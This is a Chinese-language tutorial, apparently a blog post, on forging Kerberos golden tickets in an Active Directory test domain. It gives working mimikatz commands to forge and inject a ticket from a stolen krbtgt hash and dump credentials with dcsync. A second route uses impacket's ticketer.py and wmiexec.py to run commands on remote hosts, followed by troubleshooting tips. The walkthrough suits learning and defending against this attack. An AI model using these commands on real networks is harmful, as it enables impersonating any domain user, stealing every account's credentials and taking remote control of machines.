黃金票據(jù)的制作與使用
原理
黃金票據(jù)的原理就是用krbtgt的hash來偽造TGT的內(nèi)容。更改里面的client參數(shù)與session key等。讓TGS以為我就是那個我所聲稱的人,當(dāng)然我一般會聲稱自己是administrator。第四步主要是來驗證客戶端的身份。
所謂的黃金票據(jù)其實就是kerberos認(rèn)證的第二個階段中的tgs的ticket也就是TGT。這個ticket相當(dāng)于對請求端的一個身份認(rèn)證的憑據(jù),如果可以偽造這個ticket,那么就可以偽造任意身份,而黃金票據(jù)就是一個實現(xiàn)方式。
kerberos協(xié)議原理請參考:NTML認(rèn)證與kerberos認(rèn)證與PAC相關(guān)知識。
前置條件
1.krbtgt的hash
2.本地管理員權(quán)限
3.域的sid(普通用戶的sid除去最后三位就是域的sid)
4.域內(nèi)任意用戶的本地管理員權(quán)限
操作步驟
清空已有票據(jù)
kerberos::purge
制作黃金票據(jù)
kerberos::golden/user:Administrator/domain:test.com/sid:S-1-5-21-4166986646-4168497534-2490551922 /krbtgt:308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi
加載黃金票據(jù)
kerberos::ptt 1.kirbi
檢測成果
lsadump::dcsync /domain:test.com /user:krbtgt
使用mimikatz實現(xiàn)
mimikatz下載地址:https://github.com/gentilkiwi/mimikatz/releases
假設(shè)我們已經(jīng)通過某種方式獲得了域控的krbtgt的hash為d8d2ad72a119a8d418703f7a16580af6。
1.開啟一個管理員權(quán)限的cmd窗口

2.使用mimikatz
第一步:提權(quán)&清空票據(jù)
klist purge #在cmd中執(zhí)行

privilege::Debug
kerberos::purge
kerberos::list

第二步:制作黃金票據(jù)
獲得域sid:S-1-5-21-3763276348-88739081-2848684050-1110

執(zhí)行命令:
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi

執(zhí)行結(jié)束后,會在運行目錄生成一個1.kirbi的文件。

第三步:使用黃金票據(jù)
這時候我們先看看能不能使用dcsync命令,這個命令是只有域控權(quán)限才能使用的,作用是導(dǎo)出域內(nèi)所有用戶的賬號密碼。當(dāng)然結(jié)果肯定是失敗的:

因為我們并沒有域控的“身份證”也就是tgt。
這時候我們將剛制作好的偽造的tgt導(dǎo)入系統(tǒng)并進行測試:
kerberos::ptt 1.kirbi
lsadump::dcsync /domain:test.com /user:krbtgt

遇到的一些坑
做完票據(jù)后執(zhí)行l(wèi)sadump::dcsync /domain:test.com /user:krbtgt會報錯。后來研究了很久才發(fā)現(xiàn),只要稍等幾分鐘然后測試執(zhí)行那個命令就會成功,或者退出mimikatz再進去就可以成功,原理我也不知道。
這種票據(jù)只會存在管理員權(quán)限的命令行窗口中,如果這時候換一個命令行窗口執(zhí)行,就會發(fā)現(xiàn)沒有這個憑證。

利用impacket實現(xiàn)
原理跟利用mimikatz一樣,只是利用的工具不一樣而已。
實現(xiàn)
第一步:打開管理員權(quán)限的命令行窗口并清空票據(jù)

第二步:制作ccache文件
python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain test.com administrator
第三步:更改環(huán)境變量
set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache
第四步:驗證成果
python wmiexec.py test.com/administrator@yukong -k -no-pass

總結(jié)
利用impacket來進行票據(jù)的制作有一定的局限性,制作完票據(jù)后在klist命令下是看不到緩存的。也沒辦法使用net use \\ip\admin$ 來建立管道連接。但可以使用其自帶的工具在在一定的命令格式下進行遠(yuǎn)控指定主機。命令格式為:
xxxx.py domain/username@hostname -k -no-pass
這里的domain必須跟systeminfo中的domain的值一樣。
hostname 可以通過net view命令,或者nbtstat -A ip,或者ping -a ip來確定,推薦ping -a命令。

因為test為域名,所以yukong就為主機名。
FQDN是什么?
FQDN是完全合格域名/全程域名縮寫,F(xiàn)ully Qualified Domain Name,即是域名,訪問時將由DNS進行解析,得到IP。FQDN = Hostname + DomainName,舉個例子,一個公司申請了域名comp.com,這時候有一臺主機名為web,則可以使用web.comp.com得到這個主機IP。若還有兩臺提供郵件和OA服務(wù)的主機cmail,oa,則這時候可以用以下FQDN:
cmail.comp.com
oa.comp.com
impacket的更多用法請看下面這篇文章:
https://blog.csdn.net/qq_41874930/article/details/108253531
